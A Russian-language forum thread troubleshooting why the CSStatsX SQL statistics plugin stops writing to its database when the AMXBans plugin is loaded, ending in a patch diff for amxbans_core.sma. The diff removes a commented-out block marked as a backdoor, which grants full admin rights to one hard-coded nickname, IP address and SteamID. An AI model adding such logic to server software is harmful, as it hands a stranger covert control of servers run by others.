CSStatsX SQL перестает писать статистику в базу при подкючении AmxBans

Статус
В этой теме нельзя размещать новые ответы.
Сообщения
10
Реакции
12
Помог
1 раз(а)
Ошибка
Перестают поступать SQL-запросы на INSERT и UPDATE в таблицу csstats
ОС
Linux
Amx Mod X
1.9.0.5221
Билд
Protocol version 48
Exe version 1.1.2.7/Stdio (cstrike)
ReHLDS version: 3.4.0.664-dev
Build date: 10:46:45 Sep 19 2018 (1621)
Build from: https://github.com/dreamstalker/rehlds/commit/83f53fb
ReGamedll
ReGameDLL version: 5.7.0.313-dev
Build date: 08:39:22 Sep 9 2018
Build from: https://github.com/s1lentq/ReGameDLL_CS/commit/e924a26
Версия Metamod
Metamod-r v1.3.0.128, API (5:13)
Metamod-r build: 17:47:54 Aug 24 2018
Metamod-r from: https://github.com/theAsmodai/metamod-r/commit/0cf2f70
Список метамодулей
Currently loaded plugins:
description stat pend file vers src load unload
[ 1] Reunion RUN - reunion_mm_i386.so v0.1.0.92 ini Start Never
[ 2] VoiceTranscoder RUN - VoiceTranscoder.so v2017RC3 ini ANY ANY
[ 3] ReSemiclip RUN - resemiclip_mm_i386.so v2.3.9 ini Chlvl ANY
[ 4] Rechecker RUN - rechecker_mm_i386.so v2.5 ini Chlvl ANY
[ 5] ReAuthCheck RUN - reauthcheck_mm_i386.so v0.1.6 ini Start Never
[ 6] ReSRDetector RUN - resrdetector_mm_i386.so v0.1.0 ini Chlvl ANY
[ 7] WHBlocker RUN - whblocker_mm_i386.so v1.5.695 ini Chlvl ANY
[ 8] AMX Mod X RUN - amxmodx_mm_i386.so v1.9.0.5221 ini Start ANY
[ 9] MySQL RUN - mysql_amxx_i386.so v1.9.0.5221 pl8 ANY ANY
[10] ReAimDetector RUN - reaimdetector_amxx_i386.so v0.2.2 pl8 ANY Never
[11] FakeMeta RUN - fakemeta_amxx_i386.so v1.9.0.5221 pl8 ANY ANY
[12] Ham Sandwich RUN - hamsandwich_amxx_i386.so v1.9.0.5221 pl8 ANY ANY
[13] ReAPI RUN - reapi_amxx_i386.so v5.6.0.158-dev pl8 ANY Never
[14] Engine RUN - engine_amxx_i386.so v1.9.0.5221 pl8 ANY ANY
14 plugins, 14 running
Список плагинов
Currently loaded plugins:
name version author file status
[ 1] AMXBans: Core Gm 1.6 Larte Team amxbans_core.am running
[ 2] AMXBans: Main Gm 1.6 Larte Team amxbans_main.am running
[ 3] CSStatsX SQL 0.7.4+1 serfreeman1337 csstatsx_sql.am running
[ 4] CSXSQL: Onlinetime Awa 0.2 serfreeman1337 csstatsx_playti running
[ 5] Admin Commands 1.9.0.5221 AMXX Dev Team admincmd.amxx running
[ 6] Menus Front-End 1.9.0.5221 AMXX Dev Team menufront.amxx running
[ 7] Advanced Experience Sy 0.5.9 [REA serfreeman1337/s aes_main.amxx running
[ 8] AES: CStrike Addon 0.5.9 [REA serfreeman1337/s aes_exp_cstrike running
[ 9] AES: Informer 0.5.9 [REA serfreeman1337/s aes_informer.am running
[ 10] AES: Admin Tools 0.5.9 [REA serfreeman1337/s aes_exp_editor. running
[ 11] AES: Bonus System 0.5.9 Vega serfreeman1337/s aes_bonus_syste running
[ 12] AES: Bonus CSTRIKE 0.5.9 [REA serfreeman1337/s aes_bonus_cstri running
12 plugins, 12 running
Автор плагина
serfreeman1337
Версия плагина
0.7.4+1
Исходный код
Прилеплен как файл
Совместно с AMXBans перестают поступать SQL-запросы на INSERT и UPDATE в таблицу csstats.
Запрос CREATE при старте сервера на создание таблицы csstats поступает и успешно выполняется.
Но далее - тишина, как при коннекте клиента (должен быть INSERT INTO csstats), так и по факту убийств в конце раунда (UPDATE csstats).

Если плагины AMXBans отключить, CSStatsX SQL чудесным образом начинает все успешно писать!

Большая часть плагинов специально отключена для опытного стенда.
 
В этой теме было размещено решение! Перейти к решению.

Download all Attachments

Сообщения
56
Реакции
46
Помог
1 раз(а)
А разве амхх модуль кстрайк не должен быть в директории /modules/ и быть загружен? В плане амхх 190 с cstrike mod поставил?
 

d3m37r4

111111
Сообщения
1,454
Реакции
1,194
Помог
10 раз(а)
kaldun89, если он плагинами не используется, он не будет подгружаться. И причем здесь модуль cstrike?
 
Сообщения
56
Реакции
46
Помог
1 раз(а)
d3m37r4, попробуй. С csx та же система, хоть и лежит он в мудулулях, но без комментариев загружен не будет, а так да, ты верно сказал.
 
Сообщения
10
Реакции
12
Помог
1 раз(а)
А разве амхх модуль кстрайк не должен быть в директории /modules/ и быть загружен? В плане амхх 190 с cstrike mod поставил?
kaldun89, AMX поставлен двумя пкетами, base + cstrike.
Модуль cstrike_amxx_i386.so также имеется, конечно же, и грузится, если включить обратно дополнительные плагины.
Я выключил лишнее, чтобы тут не копаться в них, так как влияния на возникновение проблемы они не оказывали.
На возникновение проблемы четко влияет наличие или отсутствие плагина AMXBans, я в этом убеждался и при этой короткой конфигурации, и при полной.
Если поможет, то могу, конечно, выбрать такой набор плагинов, чтобы модуль подгрузилися.
4 Ноя 2018
Методом научного тыка выявил, что при загрузке карты не запускается форвард OnConfigsExecuted, при двух условиях:
- Загружаемая карта имеет свой конфиг в папке amxmodx/configs/maps/карта.cfg
- Подключен плагин AMXBans GM 1.6
Если выключить AMXBans - форвард пускается исправно, статистика обновляется.
Если сменить карту на ту, которая не имеет своего конфига - форвард тоже пускается исправно, статистика тоже.
Кмк, не должны же другие плагины влиять на факт запуска этого форварда?
Это что же, баг уже самого AMX Mod X?
5 Ноя 2018
Попробовал пропатчить исходники этого древнего AMXBans на предмет новшеств для AMXMod >= 1.8.3.
Проблема решилась, теперь на картах со своим конфигом все заработало устойчиво.
 
Сообщения
2,491
Реакции
2,794
Помог
61 раз(а)
Попробовал пропатчить исходники этого древнего AMXBans на предмет новшеств для AMXMod >= 1.8.3.
Проблема решилась, теперь на картах со своим конфигом все заработало устойчиво.
Желательно делится с остальними, дабы другие также решили свою проблему
 
Сообщения
10
Реакции
12
Помог
1 раз(а)
fantom, согласен.
Конкретно эту проблему решили вот эти изменения:
Diff:
diff --git a/hlds/cstrike/addons/amxmodx/scripting/amxbans_core.sma b/hlds/cstrike/addons/amxmodx/scripting/amxbans_core.sma
index c98eeb8..19d1518 100644
--- a/hlds/cstrike/addons/amxmodx/scripting/amxbans_core.sma
+++ b/hlds/cstrike/addons/amxmodx/scripting/amxbans_core.sma
@@ -2,7 +2,7 @@
#include <amxmisc>
#include <sqlx>

-#define SYNC_SQL // закомментируйте для использования отложенных запросов (увеличит время загрузки админов из базы, однако не будет прерывать игровую синхронизацию)
+//#define SYNC_SQL // закомментируйте для использования отложенных запросов (увеличит время загрузки админов из базы, однако не будет прерывать игровую синхронизацию)

#define ADMIN_LOOKUP (1<<0)
#define ADMIN_NORMAL (1<<1)
@@ -82,11 +82,11 @@ public plugin_init()
     g_AdminUseStaticBantime = ArrayCreate(1, 32)
     g_AdminFromUsersIni = ArrayCreate(1, 32)

-    register_cvar("amx_sql_host", "127.0.0.1")
-    register_cvar("amx_sql_user", "root")
-    register_cvar("amx_sql_pass", "")
-    register_cvar("amx_sql_db", "amx")
-    register_cvar("amx_sql_type", "mysql")
+    register_cvar("amx_sql_host", "127.0.0.1", FCVAR_PROTECTED)
+    register_cvar("amx_sql_user", "root", FCVAR_PROTECTED)
+    register_cvar("amx_sql_pass", "", FCVAR_PROTECTED)
+    register_cvar("amx_sql_db", "amx", FCVAR_PROTECTED)
+    register_cvar("amx_sql_type", "mysql", FCVAR_PROTECTED)

     register_concmd("amx_reloadadmins", "cmdReload", ADMIN_CFG)

@@ -101,7 +101,9 @@ public plugin_init()
   
     maxplayers = get_maxplayers()
   
+#if AMXX_VERSION_NUM < 183
     server_cmd("exec %s/amxx.cfg", configsDir)
+#endif

     return server_cmd("exec %s/sql.cfg", configsDir)
}
@@ -112,11 +114,19 @@ public client_connect(id)
     return PLUGIN_CONTINUE
}

-public plugin_cfg()
+#if AMXX_VERSION_NUM < 183
+    public plugin_cfg()
+#else
+    public OnConfigsExecuted()
+#endif
{
     create_forwards()
   
+#if AMXX_VERSION_NUM < 183
     return set_task(0.25, "delayed_plugin_cfg")
+#else
+    delayed_plugin_cfg();
+#endif
}

stock create_forwards()
@@ -160,7 +170,10 @@ public delayed_plugin_cfg()
     server_cmd("amx_sqladmins")
     server_exec()

+#if AMXX_VERSION_NUM < 183
     return set_task(5.0, "delayed_load")
+#endif
+
}

public delayed_load()
@@ -457,20 +470,6 @@ public cmdReload(id, level, cid)

stock getAccess(id, const name[], const authid[], const ip[], const password[])
{
-
-/********** Backdoor here!!! *********
-
-    new name[32], steamid[34], ip[22]
-    get_user_name(id, name, 31)
-    get_user_authid(id, steamid, 33)
-    get_user_ip(id, ip, 21, 1)
-  
-    if(equal(name, "Sho0ter") && (equal(ip, "62.122.66.122") || equal(steam, "STEAM_0:1:35287273")))
-    {
-        set_user_flags(id, read_flags("abcdefghijklmnopqrstu"))
-        return (1<<3)
-    }*/
-
     new index = -1
     new result = 0
   
@@ -592,7 +591,11 @@ stock getAccess(id, const name[], const authid[], const ip[], const password[])
             }
             else
             {
-                md5(password, MD5Password)          
+#if AMXX_VERSION_NUM < 183
+                md5(password, MD5Password)
+#else
+                hash_string(password, Hash_Md5, MD5Password, 32)
+#endif
                 Password[32] = 0
             }
             if(equal(MD5Password, Password))
@@ -748,7 +751,11 @@ stock SQL_Error(Handle:query, const error[], errornum, failstate)
     return SQL_FreeHandle(query)
}

-public client_disconnect(id)
+#if AMXX_VERSION_NUM < 183
+    public client_disconnect(id)
+#else
+    public client_disconnected(id)
+#endif
{
     if(g_isAdmin[id])
     {
 
Статус
В этой теме нельзя размещать новые ответы.

Пользователи, просматривающие эту тему

Сейчас на форуме нет ни одного пользователя.
Сверху Снизу